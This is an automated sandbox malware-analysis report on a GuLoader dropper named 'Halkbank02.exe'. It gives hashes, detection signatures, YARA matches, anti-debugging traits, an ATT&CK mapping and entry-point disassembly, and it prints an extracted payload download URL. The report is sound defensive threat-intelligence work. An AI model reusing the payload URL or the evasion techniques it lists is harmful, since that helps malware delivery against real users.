Loading ...

Play interactive tourEdit tour

Windows Analysis Report Halkbank02.exe

Overview

General Information

Sample Name:Halkbank02.exe
Analysis ID:483639
MD5:a4cb6740c9195c5579acef4f7c8e40c7
SHA1:54abe0f828d828d5ff840b989fb5f010395961f6
SHA256:f1b1abf0182c865a3521d659cbc4bd86a4b00b0e4be95468a1d3b5ff46a3efc8
Tags:exegeoGuLoaderHalkbankTUR
Infos:

Most interesting Screenshot:

Detection

GuLoader
Score:88
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Potential malicious icon found
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected GuLoader
C2 URLs / IPs found in malware configuration
Found potential dummy code loops (likely to delay analysis)
Uses 32bit PE files
Found inlined nop instructions (likely shell or obfuscated code)
Yara signature match
Sample file is different than original file name gathered from version info
PE file contains strange resources
Contains functionality to read the PEB
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to call native functions
Program does not show much activity (idle)
Contains functionality for execution timing, often used to detect debuggers
Abnormal high CPU Usage

Classification

Process Tree

  • System is w10x64
  • Halkbank02.exe (PID: 6396 cmdline: 'C:\Users\user\Desktop\Halkbank02.exe' MD5: A4CB6740C9195C5579ACEF4F7C8E40C7)
  • cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://drive.google.com/uc?export=download&id=1l"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
    00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmpLokiBot_Dropper_Packed_R11_Feb18Auto-generated rule - file scan copy.pdf.r11Florian Roth
    • 0x450:$s1: C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
    00000001.00000000.247791172.0000000000410000.00000020.00020000.sdmpLokiBot_Dropper_Packed_R11_Feb18Auto-generated rule - file scan copy.pdf.r11Florian Roth
    • 0x450:$s1: C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB

    Sigma Overview

    No Sigma rule has matched

    Jbx Signature Overview

    Click to jump to signature section

    Show All Signature Results

    AV Detection:

    barindex
    Found malware configurationShow sources
    Source: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmpMalware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=1l"}
    Multi AV Scanner detection for submitted fileShow sources
    Source: Halkbank02.exeReversingLabs: Detection: 15%
    Source: Halkbank02.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 4x nop then mov ebx, ebx1_2_00401500
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00401500
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 4x nop then mov ebx, ebx1_2_00402872
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00402872
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00402C7A
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00402E7C
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 4x nop then mov ebx, ebx1_2_00402A0C
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00402A0C
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00402C3F
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 4x nop then mov ebx, ebx1_2_004028F7
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_004028F7
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 4x nop then mov ebx, ebx1_2_00402A81
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00402A81
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 4x nop then mov ebx, ebx1_2_004020A7
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_004020A7
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00402B02
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00402D07
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00402F0C
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 4x nop then mov ebx, ebx1_2_004027DC
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_004027DC
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00402DF6
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00402B84
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 4x nop then mov ebx, ebx1_2_0040298D
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_0040298D
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 5x nop then xor eax, 4C849A4Bh1_2_00402F9E

    Networking:

    barindex
    C2 URLs / IPs found in malware configurationShow sources
    Source: Malware configuration extractorURLs: https://drive.google.com/uc?export=download&id=1l

    System Summary:

    barindex
    Potential malicious icon foundShow sources
    Source: initial sampleIcon embedded in PE file: bad icon match: 20047c7c70f0e004
    Malicious sample detected (through community Yara rule)Show sources
    Source: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, type: MEMORYMatched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
    Source: 00000001.00000000.247791172.0000000000410000.00000020.00020000.sdmp, type: MEMORYMatched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
    Source: Halkbank02.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
    Source: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, type: MEMORYMatched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
    Source: 00000001.00000000.247791172.0000000000410000.00000020.00020000.sdmp, type: MEMORYMatched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
    Source: Halkbank02.exe, 00000001.00000000.247800004.0000000000418000.00000002.00020000.sdmpBinary or memory string: OriginalFilenamemeduse.exe vs Halkbank02.exe
    Source: Halkbank02.exe, 00000001.00000002.774847664.00000000021F0000.00000004.00000001.sdmpBinary or memory string: OriginalFilenamemeduse.exeFE2XGeneral court% vs Halkbank02.exe
    Source: Halkbank02.exeBinary or memory string: OriginalFilenamemeduse.exe vs Halkbank02.exe
    Source: Halkbank02.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_004015001_2_00401500
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_004028721_2_00402872
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00402C7A1_2_00402C7A
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00402A0C1_2_00402A0C
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00402C3F1_2_00402C3F
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_004028F71_2_004028F7
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00402A811_2_00402A81
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_004020A71_2_004020A7
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_004015501_2_00401550
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00402B021_2_00402B02
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_004027DC1_2_004027DC
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00402B841_2_00402B84
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_0040298D1_2_0040298D
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD65A41_2_02BD65A4
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD46B61_2_02BD46B6
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD18AE1_2_02BD18AE
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD38A11_2_02BD38A1
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD9AA01_2_02BD9AA0
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD4AA31_2_02BD4AA3
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD72941_2_02BD7294
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD30931_2_02BD3093
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD628F1_2_02BD628F
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD8E8E1_2_02BD8E8E
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD248A1_2_02BD248A
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD22F61_2_02BD22F6
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD90F31_2_02BD90F3
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD28EB1_2_02BD28EB
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD98EA1_2_02BD98EA
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD8EE01_2_02BD8EE0
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD08DF1_2_02BD08DF
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BDA8D91_2_02BDA8D9
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BDACD71_2_02BDACD7
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD50D31_2_02BD50D3
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD52C81_2_02BD52C8
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD022B1_2_02BD022B
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD122A1_2_02BD122A
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD4E251_2_02BD4E25
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD20241_2_02BD2024
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BDA00E1_2_02BDA00E
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD060B1_2_02BD060B
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD0E011_2_02BD0E01
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD36731_2_02BD3673
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD146E1_2_02BD146E
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD28501_2_02BD2850
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD84521_2_02BD8452
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD0A461_2_02BD0A46
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD1C461_2_02BD1C46
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD15921_2_02BD1592
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD49831_2_02BD4983
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD4DF91_2_02BD4DF9
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD41F01_2_02BD41F0
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD85E31_2_02BD85E3
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD69DD1_2_02BD69DD
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD05DF1_2_02BD05DF
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD89D61_2_02BD89D6
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD4DD31_2_02BD4DD3
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD37D21_2_02BD37D2
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BDA7C91_2_02BDA7C9
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD9DC11_2_02BD9DC1
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD9DC31_2_02BD9DC3
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD99C21_2_02BD99C2
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD11381_2_02BD1138
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD352D1_2_02BD352D
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD0D2C1_2_02BD0D2C
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD2F1D1_2_02BD2F1D
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD9B0D1_2_02BD9B0D
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD630A1_2_02BD630A
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD1B721_2_02BD1B72
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD8D6F1_2_02BD8D6F
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD59631_2_02BD5963
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD8F561_2_02BD8F56
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD614D1_2_02BD614D
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD91491_2_02BD9149
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD97451_2_02BD9745
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD13401_2_02BD1340
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD11431_2_02BD1143
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD65A4 NtAllocateVirtualMemory,1_2_02BD65A4
    Source: C:\Users\user\Desktop\Halkbank02.exeProcess Stats: CPU usage > 98%
    Source: Halkbank02.exeReversingLabs: Detection: 15%
    Source: Halkbank02.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
    Source: C:\Users\user\Desktop\Halkbank02.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: C:\Users\user\Desktop\Halkbank02.exeSection loaded: C:\Windows\SysWOW64\msvbvm60.dllJump to behavior
    Source: classification engineClassification label: mal88.rans.troj.evad.winEXE@1/0@0/0

    Data Obfuscation:

    barindex
    Yara detected GuLoaderShow sources
    Source: Yara matchFile source: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, type: MEMORY
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00403640 push 966DCA76h; iretd 1_2_00403645
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00405A45 push esp; iretd 1_2_00405A5A
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00403C65 push ds; iretd 1_2_00403C6E
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00405E73 push ds; iretd 1_2_00405E8A
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00404A75 push 7B3E4015h; iretd 1_2_00404A7A
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00407231 push esp; retf 1_2_00407234
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_004080C5 push E868A7E5h; iretd 1_2_004080CA
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00406ED7 push esi; ret 1_2_00406ED8
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_004082EB pushfd ; iretd 1_2_004082F5
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_004080ED push 7767F77Ch; iretd 1_2_004080F2
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00408105 push 03C6A3FEh; iretd 1_2_00408112
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00407B29 pushfd ; retf 1_2_00407B2A
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_004061DD push 22BD4488h; iretd 1_2_004061E6
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD7409 pushfd ; iretd 1_2_02BD7412
    Source: C:\Users\user\Desktop\Halkbank02.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\Halkbank02.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\Halkbank02.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD8CF8 rdtsc 1_2_02BD8CF8

    Anti Debugging:

    barindex
    Found potential dummy code loops (likely to delay analysis)Show sources
    Source: C:\Users\user\Desktop\Halkbank02.exeProcess Stats: CPU usage > 90% for more than 60s
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_00401500 mov ebx, dword ptr fs:[00000030h]1_2_00401500
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_004020A7 mov ebx, dword ptr fs:[00000030h]1_2_004020A7
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_004027DC mov ebx, dword ptr fs:[00000030h]1_2_004027DC
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD88B2 mov eax, dword ptr fs:[00000030h]1_2_02BD88B2
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD608C mov eax, dword ptr fs:[00000030h]1_2_02BD608C
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD41F0 mov eax, dword ptr fs:[00000030h]1_2_02BD41F0
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD352D mov eax, dword ptr fs:[00000030h]1_2_02BD352D
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD8150 mov eax, dword ptr fs:[00000030h]1_2_02BD8150
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD9745 mov eax, dword ptr fs:[00000030h]1_2_02BD9745
    Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
    Source: C:\Users\user\Desktop\Halkbank02.exeCode function: 1_2_02BD8CF8 rdtsc 1_2_02BD8CF8
    Source: Halkbank02.exe, 00000001.00000002.773637952.0000000000D60000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd
    Source: Halkbank02.exe, 00000001.00000002.773637952.0000000000D60000.00000002.00020000.sdmpBinary or memory string: Progman
    Source: Halkbank02.exe, 00000001.00000002.773637952.0000000000D60000.00000002.00020000.sdmpBinary or memory string: SProgram Managerl
    Source: Halkbank02.exe, 00000001.00000002.773637952.0000000000D60000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd,
    Source: Halkbank02.exe, 00000001.00000002.773637952.0000000000D60000.00000002.00020000.sdmpBinary or memory string: Progmanlock

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsWindows Management InstrumentationPath InterceptionProcess Injection1Virtualization/Sandbox Evasion11OS Credential DumpingSecurity Software Discovery11Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsProcess Injection1LSASS MemoryVirtualization/Sandbox Evasion11Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothApplication Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or Information2Security Account ManagerProcess Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDSSystem Information Discovery1Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.

    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    Halkbank02.exe16%ReversingLabsWin32.Trojan.Mucc

    Dropped Files

    No Antivirus matches

    Unpacked PE Files

    No Antivirus matches

    Domains

    No Antivirus matches

    URLs

    No Antivirus matches

    Domains and IPs

    Contacted Domains

    No contacted domains info

    Contacted IPs

    No contacted IP infos

    General Information

    Joe Sandbox Version:33.0.0 White Diamond
    Analysis ID:483639
    Start date:15.09.2021
    Start time:10:37:01
    Joe Sandbox Product:CloudBasic
    Overall analysis duration:0h 8m 19s
    Hypervisor based Inspection enabled:false
    Report type:full
    Sample file name:Halkbank02.exe
    Cookbook file name:default.jbs
    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
    Number of analysed new started processes analysed:30
    Number of new started drivers analysed:0
    Number of existing processes analysed:0
    Number of existing drivers analysed:0
    Number of injected processes analysed:0
    Technologies:
    • HCA enabled
    • EGA enabled
    • HDC enabled
    • AMSI enabled
    Analysis Mode:default
    Analysis stop reason:Timeout
    Detection:MAL
    Classification:mal88.rans.troj.evad.winEXE@1/0@0/0
    EGA Information:Failed
    HDC Information:
    • Successful, ratio: 5.7% (good quality ratio 3%)
    • Quality average: 27.7%
    • Quality standard deviation: 26.8%
    HCA Information:Failed
    Cookbook Comments:
    • Adjust boot time
    • Enable AMSI
    • Found application associated with file extension: .exe
    • Override analysis time to 240s for sample files taking high CPU consumption
    Warnings:
    Show All
    • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
    • Not all processes where analyzed, report is missing behavior information

    Simulations

    Behavior and APIs

    No simulations

    Joe Sandbox View / Context

    IPs

    No context

    Domains

    No context

    ASN

    No context

    JA3 Fingerprints

    No context

    Dropped Files

    No context

    Created / dropped Files

    No created / dropped files found

    Static File Info

    General

    File type:PE32 executable (GUI) Intel 80386, for MS Windows
    Entropy (8bit):5.903422169790693
    TrID:
    • Win32 Executable (generic) a (10002005/4) 99.15%
    • Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81%
    • Generic Win/DOS Executable (2004/3) 0.02%
    • DOS Executable Generic (2002/1) 0.02%
    • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
    File name:Halkbank02.exe
    File size:114688
    MD5:a4cb6740c9195c5579acef4f7c8e40c7
    SHA1:54abe0f828d828d5ff840b989fb5f010395961f6
    SHA256:f1b1abf0182c865a3521d659cbc4bd86a4b00b0e4be95468a1d3b5ff46a3efc8
    SHA512:454837e72cab7fb74b1997a9cb65f00f4f61f2c20df207af2bc68bb14b64b05bc335b7a5ee453872f39b0e4d2608d1c430355411784e810c631c2a48913e3de8
    SSDEEP:1536:eCTH2yl2XRexuS7oM7AS9GvCxrJodHrRdgGpVBPy6mgjd+:e62dAwSsO9GvCxrJ6HbrVBPy6jU
    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1...1...1.......0...~...0.......0...Rich1...........PE..L...{ewV.................`...P...............p....@.............B..

    File Icon

    Icon Hash:20047c7c70f0e004

    Static PE Info

    General

    Entrypoint:0x401500
    Entrypoint Section:.text
    Digitally signed:false
    Imagebase:0x400000
    Subsystem:windows gui
    Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
    DLL Characteristics:
    Time Stamp:0x5677657B [Mon Dec 21 02:35:39 2015 UTC]
    TLS Callbacks:
    CLR (.Net) Version:
    OS Version Major:4
    OS Version Minor:0
    File Version Major:4
    File Version Minor:0
    Subsystem Version Major:4
    Subsystem Version Minor:0
    Import Hash:4907098a5ecd4cf1549046838d3d7c44

    Entrypoint Preview

    Instruction
    push 0041003Ch
    call 00007FD154A0B3A3h
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    xor byte ptr [eax], al
    add byte ptr [eax], al
    inc eax
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add dh, bl
    adc cl, bl
    inc ebp
    shr byte ptr [ecx-7261B6D1h], cl
    cdq
    push B02314D6h
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add dword ptr [eax], eax
    add byte ptr [eax], al
    add byte ptr [eax], al
    cmp byte ptr [ecx-3Ah], bl
    add ch, byte ptr [ebp+69h]
    outsb
    insb
    insb
    jnc 00007FD154A0B423h
    add byte ptr [ecx+00h], al
    and byte ptr [eax], cl
    inc ecx
    add byte ptr [eax], al
    add byte ptr [eax], al
    add bh, bh
    int3
    xor dword ptr [eax], eax
    inc ebp
    or word ptr [edx], cx
    dec esp
    xor ah, byte ptr [edi]
    dec eax
    xchg byte ptr [ebx-5F3E302Eh], al
    jne 00007FD154A0B35Bh
    lodsd
    test al, D1h
    inc edx
    int1
    out dx, eax
    pop edx
    inc eax
    movsd
    sar cl, cl
    and eax, 3A648554h
    dec edi
    lodsd
    xor ebx, dword ptr [ecx-48EE309Ah]
    or al, 00h
    stosb
    add byte ptr [eax-2Dh], ah
    xchg eax, ebx
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    add byte ptr [eax], al
    cmp dl, ch
    add byte ptr [eax], al
    inc eax
    add byte ptr [eax], al
    add byte ptr [eax], al
    or byte ptr [eax], al
    inc edi
    jne 00007FD154A0B425h
    je 00007FD154A0B413h
    jc 00007FD154A0B416h
    push 00000000h
    or eax, 6B000501h
    outsd
    insd
    insd
    jne 00007FD154A0B3B2h

    Data Directories

    NameVirtual AddressVirtual Size Is in Section
    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
    IMAGE_DIRECTORY_ENTRY_IMPORT0x168b40x28.text
    IMAGE_DIRECTORY_ENTRY_RESOURCE0x180000x31be.rsrc
    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
    IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x2280x20
    IMAGE_DIRECTORY_ENTRY_IAT0x10000x158.text
